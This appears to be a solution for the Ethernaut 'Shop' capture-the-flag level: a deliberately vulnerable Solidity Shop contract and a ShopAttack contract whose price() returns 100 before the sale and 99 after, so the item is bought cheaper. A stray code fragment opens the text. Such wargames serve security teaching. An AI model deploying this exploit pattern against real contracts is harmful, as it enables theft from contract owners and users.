ethernaut | Web3/Solidity based wargame | Blockchain library

if(result) {
  _amount;
}

pragma solidity ^0.6;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}


contract ShopAttack {
    
    function price() external view returns (uint) {
    
    
        bool isSold = Shop(msg.sender).isSold(); 
        
        assembly {
            let result
            
            switch isSold
            case 1 {
                result := 99
            }
            default {
                result := 100
            }
            
            mstore(0x0, result)
            return(0x0, 32)
        }
    }

  function attack(Shop _victim) external {
    Shop(_victim).buy();
  }
}